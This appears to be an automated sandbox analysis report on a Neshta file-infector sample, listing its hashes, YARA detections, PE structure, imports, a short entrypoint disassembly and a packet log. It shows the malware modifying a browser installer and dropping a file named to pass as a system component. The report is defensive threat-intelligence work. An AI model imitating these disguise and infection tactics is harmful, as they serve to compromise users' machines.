SHA-512:	D1D2ECD837BCC040507941C5439BD5A3D05C4DB47BD0F627450335561D640ECCC4B6F1A3690AD97C885FD1463A093710FD43EAFACB538F77D32423714A5B7374
Malicious:	false
Preview:	...... .......@..........'"...zE................................................................................................................................................................................................................................................................................................................. ......................................................................................................................................................................................................................................................g'"...zE.....................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1149440
Entropy (8bit):	7.983386953954499
Encrypted:	false
SSDEEP:	24576:6AbXH84DRnKCwyElWCAMmKix1x1IDStOX2cBZ8umx7QgbcxWsG2Emy:DL8uokzK6DxcD8uqzbcxWX/my
MD5:	0B7D3217AE50A0433B3A96494D089E05
SHA1:	012822D29E1EC200B9CF23E10CB0D8A380EC4DA6
SHA-256:	89609C41C0C13302695DEC877A6863737243E22B414740E0595F62A0C4D1362A
SHA-512:	14A2558B3B56FA9F0F1C31DFE2D65CB5B2574C72F16240B94A642BE738D1DF49D212EBD94A2440AA8C32BA99D2C5876B632A69027615021F2A5BCC552B8D0888
Malicious:	true
Yara Hits:	Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe, Author: Florian Roth Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100% Antivirus: Metadefender, Detection: 100%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Users\user\Downloads\ChromeSetup.exe

Download File

Process:	C:\Users\user\Desktop\wYWdigdSjn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1456072
Entropy (8bit):	7.903845695637173
Encrypted:	false
SSDEEP:	24576:wKH/B1FBgDXZNFfZoWe0KVIC9ClKa5IrykTHhQ5NoRyftZZriXWzr6pfKuITwy:wK51rgXteP3Vz9oI2mhoNosVDP+fXA
MD5:	5BBE8931A86AF2D05048EF68128AC515
SHA1:	1077A306EC4BC122475D117CF5AF1AEA4FC0D588
SHA-256:	41544B477F8F8B095C900AAE5F1DC11DEFC4D1DE67BCDD2A1F92DFB12EB45A8E
SHA-512:	5198426F5C091410A27661E86977B65469329CE178889BCB0F71213E23733BBD0C5E553F649ED6D2E0F51552E97276841DF35E3E8A3B7DE6867531EF943A3C5C
Malicious:	true
Yara Hits:	Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: C:\Users\user\Downloads\ChromeSetup.exe, Author: Florian Roth Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Users\user\Downloads\ChromeSetup.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Users\user\Downloads\ChromeSetup.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Windows\svchost.com

Download File

Process:	C:\Users\user\Desktop\wYWdigdSjn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.976684810818399
Encrypted:	false
SSDEEP:	768:eyxqjQl/EMQt4Oei7RwsHxyP7nbxzOQdJ:JxqjQ+P04wsmJC
MD5:	36FD5E09C417C767A952B4609D73A54B
SHA1:	299399C5A2403080A5BF67FB46FAEC210025B36D
SHA-256:	980BAC6C9AFE8EFC9C6FE459A5F77213B0D8524EB00DE82437288EB96138B9A2
SHA-512:	1813A6A5B47A9B2CD3958CF4556714AE240F2AA19D0A241B596830F0F2B89A33EC864D00CE6A791D323A58DFBFF42A0FDED65EEFBF980C92685E25C0EC415D92
Malicious:	true
Yara Hits:	Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: C:\Windows\svchost.com, Author: Florian Roth Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Windows\svchost.com, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Windows\svchost.com, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 98% Antivirus: Metadefender, Detection: 91%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.983386953954499
TrID:	Win32 Executable (generic) a (10002005/4) 97.38% Win32 Executable Borland Delphi 6 (262906/60) 2.56% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	wYWdigdSjn.exe
File size:	1149440
MD5:	0b7d3217ae50a0433b3a96494d089e05
SHA1:	012822d29e1ec200b9cf23e10cb0d8a380ec4da6
SHA256:	89609c41c0c13302695dec877a6863737243e22b414740e0595f62a0c4d1362a
SHA512:	14a2558b3b56fa9f0f1c31dfe2d65cb5b2574c72f16240b94a642be738d1df49d212ebd94a2440aa8c32ba99d2c5876b632a69027615021f2a5bcc552b8d0888
SSDEEP:	24576:6AbXH84DRnKCwyElWCAMmKix1x1IDStOX2cBZ8umx7QgbcxWsG2Emy:DL8uokzK6DxcD8uqzbcxWX/my
TLSH:	B435336EE1548CB0E6512EB41E22A9F0857F66109D7F1E4A7D210C9CAE3B7933D8CDD8
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x4080e4
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	9f4693fc0c511135129493f2161d1e86

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFE0h
xor eax, eax
mov dword ptr [ebp-20h], eax
mov dword ptr [ebp-18h], eax
mov dword ptr [ebp-1Ch], eax
mov dword ptr [ebp-14h], eax
mov eax, 00408054h
call 00007F38B4A23917h
xor eax, eax
push ebp
push 00408220h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
mov eax, 004091A8h
mov ecx, 0000000Bh
mov edx, 0000000Bh
call 00007F38B4A26A61h
mov eax, 004091B4h
mov ecx, 00000009h
mov edx, 00000009h
call 00007F38B4A26A4Dh
mov eax, 004091C0h
mov ecx, 00000003h
mov edx, 00000003h
call 00007F38B4A26A39h
mov eax, 004091DCh
mov ecx, 00000003h
mov edx, 00000003h
call 00007F38B4A26A25h
mov eax, dword ptr [00409210h]
mov ecx, 0000000Bh
mov edx, 0000000Bh
call 00007F38B4A26A11h
call 00007F38B4A26A68h
lea edx, dword ptr [ebp-14h]
xor eax, eax
call 00007F38B4A24352h
mov eax, dword ptr [ebp-14h]
call 00007F38B4A248E6h
cmp eax, 0000A200h
jle 00007F38B4A27B07h
call 00007F38B4A26FE6h
call 00007F38B4A277F9h
mov eax, 004091C4h
mov ecx, 00000003h
mov edx, 00000003h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x15000	0x864	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x19000	0x1400	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x18000	0x5cc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x17000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x722c	0x7400	False	0.6173558728448276	data	6.511672174892103	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x9000	0x218	0x400	False	0.3623046875	data	3.1516983405583385	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0xa000	0xa899	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x15000	0x864	0xa00	False	0.37421875	data	4.173859768945439	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x16000	0x8	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x17000	0x18	0x200	False	0.05078125	data	0.2069200177871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0x18000	0x5cc	0x600	False	0.8483072916666666	data	6.443093465893509	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x19000	0x1400	0x1400	False	0.1302734375	data	1.296744017426327	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x19150	0x10a8	data	Russian	Russia
RT_RCDATA	0x1a1f8	0x10	data
RT_RCDATA	0x1a208	0xac	data
RT_GROUP_ICON	0x1a2b4	0x14	data	Russian	Russia

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetVersion, GetCurrentThreadId, GetThreadLocale, GetStartupInfoA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, ExitProcess, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
user32.dll	GetKeyboardType, MessageBoxA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegSetValueExA, RegOpenKeyExA, RegCloseKey
kernel32.dll	WriteFile, WinExec, SetFilePointer, SetFileAttributesA, SetEndOfFile, SetCurrentDirectoryA, ReleaseMutex, ReadFile, GetWindowsDirectoryA, GetTempPathA, GetShortPathNameA, GetModuleFileNameA, GetLogicalDriveStringsA, GetLocalTime, GetLastError, GetFileSize, GetFileAttributesA, GetDriveTypeA, GetCommandLineA, FreeLibrary, FindNextFileA, FindFirstFileA, FindClose, DeleteFileA, CreateMutexA, CreateFileA, CreateDirectoryA, CloseHandle
gdi32.dll	StretchDIBits, SetDIBits, SelectObject, GetObjectA, GetDIBits, DeleteObject, DeleteDC, CreateSolidBrush, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt
user32.dll	ReleaseDC, GetSysColor, GetIconInfo, GetDC, FillRect, DestroyIcon, CopyImage, CharLowerBuffA
shell32.dll	ShellExecuteA, ExtractIconA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Russian	Russia

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2022 11:34:04.160587072 CEST	49695	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:34:04.189922094 CEST	80	49695	103.136.42.153	192.168.2.3
Oct 8, 2022 11:34:04.190037012 CEST	49695	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:34:04.201390982 CEST	49695	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:34:04.230782032 CEST	80	49695	103.136.42.153	192.168.2.3
Oct 8, 2022 11:34:04.231983900 CEST	80	49695	103.136.42.153	192.168.2.3
Oct 8, 2022 11:34:04.278322935 CEST	49695	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:34:04.629487991 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:04.629532099 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:04.629601002 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:04.663363934 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:04.663408041 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:04.724203110 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:04.724328041 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.174992085 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.175029993 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.175434113 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.194636106 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.194679022 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.364584923 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.365115881 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.365219116 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.365251064 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.365504026 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.365565062 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.365575075 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.365612984 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.365649939 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.365658998 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.365686893 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.365725040 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.365732908 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.365751028 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.365897894 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.365906000 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.366698027 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.366770029 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.366774082 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.366792917 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.366856098 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.380415916 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.380510092 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.380594969 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.380618095 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.380676031 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.381139040 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.381234884 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.382380009 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.382492065 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.382500887 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.382533073 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.382595062 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.382602930 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.383658886 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.383754969 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.383763075 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.384752035 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.384814024 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.384815931 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.384829998 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.384876013 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.385633945 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.385696888 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.385720968 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.385730028 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.385782003 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.386497974 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.386564970 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.386579990 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.386589050 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.386646032 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.387336969 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.387437105 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.388150930 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.388228893 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.388243914 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.388258934 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.388312101 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.389030933 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.389111996 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.389120102 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.389137030 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.389183044 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.397326946 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.397444963 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.397562027 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.397634983 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.397651911 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.397705078 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.398274899 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.398353100 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.398593903 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.398675919 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.399271965 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.399334908 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.399415970 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.399430990 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.399492025 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.400067091 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.400130987 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.400146008 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.400155067 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.400187016 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.400233984 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.400242090 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.400286913 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.400949955 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.401007891 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.401026011 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.401037931 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.401122093 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.401879072 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.401954889 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.401969910 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.402004004 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.402021885 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.402065039 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.403244019 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.403327942 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.403350115 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.403367996 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.403403997 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.403430939 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.403439999 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.403492928 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.403498888 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.403518915 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.403559923 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.403578997 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.403633118 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.404237986 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.404294968 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.404305935 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.404323101 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.404381037 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.404388905 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.404405117 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.404478073 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.404489040 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.405217886 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.405267000 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.405280113 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.405301094 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.405358076 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.405365944 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.405680895 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.405734062 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.405746937 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.405766010 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.405810118 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.405817032 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.405834913 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.405877113 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.405884027 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.406586885 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.406649113 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.406651020 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.406670094 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.406730890 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.406733036 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.406748056 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.406785965 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.414076090 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.414129972 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.414156914 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.414206028 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.414223909 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.414261103 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.414293051 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.414338112 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.414391994 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.414427996 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.414459944 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.414516926 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.414522886 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.414541960 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.414572001 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.415296078 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.415347099 CEST	49696	443	192.168.2.3	157.240.20.35
